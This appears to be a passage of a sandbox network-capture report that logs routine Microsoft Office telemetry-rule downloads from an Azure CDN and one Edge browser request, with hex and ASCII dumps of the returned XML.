2024-11-28 16:24:31 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.6	49788	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:32 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:32 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: d3507608-601e-003d-4b91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162432Z-174f7845968kdththC1EWRzvxn0000000ayg00000000eq79 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:32 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.6	49789	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:32 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:32 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:32 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: dc0e5a4e-901e-005b-0191-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162432Z-174f7845968kvnqxhC1EWRmf3g0000000hgg000000006d4t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:32 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.6	49790	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:34 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: a89cb059-301e-003f-5da3-40266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162434Z-174f7845968ljs8phC1EWRe6en0000000yk0000000006cch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:34 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.6	49791	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:34 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:34 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 56bedb93-201e-0033-7607-41b167000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162434Z-174f7845968j6t2phC1EWRcfe80000000yrg00000000fe3r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:34 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.6	49792	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:34 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:34 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: dc0e6055-901e-005b-2d91-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162434Z-174f7845968psccphC1EWRuz9s0000000ywg00000000bxfb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:34 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.6	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:34 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:34 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:34 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 48138194-301e-0020-3858-406299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162434Z-174f7845968swgbqhC1EWRmnb40000000yv0000000007nha x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:34 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.6	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:35 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:35 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:35 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e52ede4a-001e-0017-0591-3f0c3c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162435Z-174f7845968j6t2phC1EWRcfe80000000ys000000000fe01 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:35 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.6	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:36 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:37 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: be7987d0-001e-0034-1e91-3fdd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162437Z-174f7845968qj8jrhC1EWRh41s0000000yr0000000000vye x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:37 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49802	94.245.104.56	443	6828	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:36 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 16:24:37 UTC	584	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Thu, 28 Nov 2024 16:24:36 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=2a21eb11dc02c649de5443a2d52f1b190b57687d537f3e29a60770db66f997d5;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=2a21eb11dc02c649de5443a2d52f1b190b57687d537f3e29a60770db66f997d5;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.6	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:37 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:37 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 4506793e-f01e-0071-0b15-41431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162437Z-174f7845968swgbqhC1EWRmnb40000000ysg00000000ddsd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:37 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.6	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:37 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:37 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 34632f50-601e-0097-1466-40f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162437Z-174f7845968j6t2phC1EWRcfe80000000yxg000000001xwm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 16:24:37 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.6	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 16:24:37 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 16:24:37 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 16:24:37 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 8dfbf447-101e-0028-0f8e-3f8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T162437Z-174f7845968pf68xhC1EWRr4h80000000ywg00000000auz1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
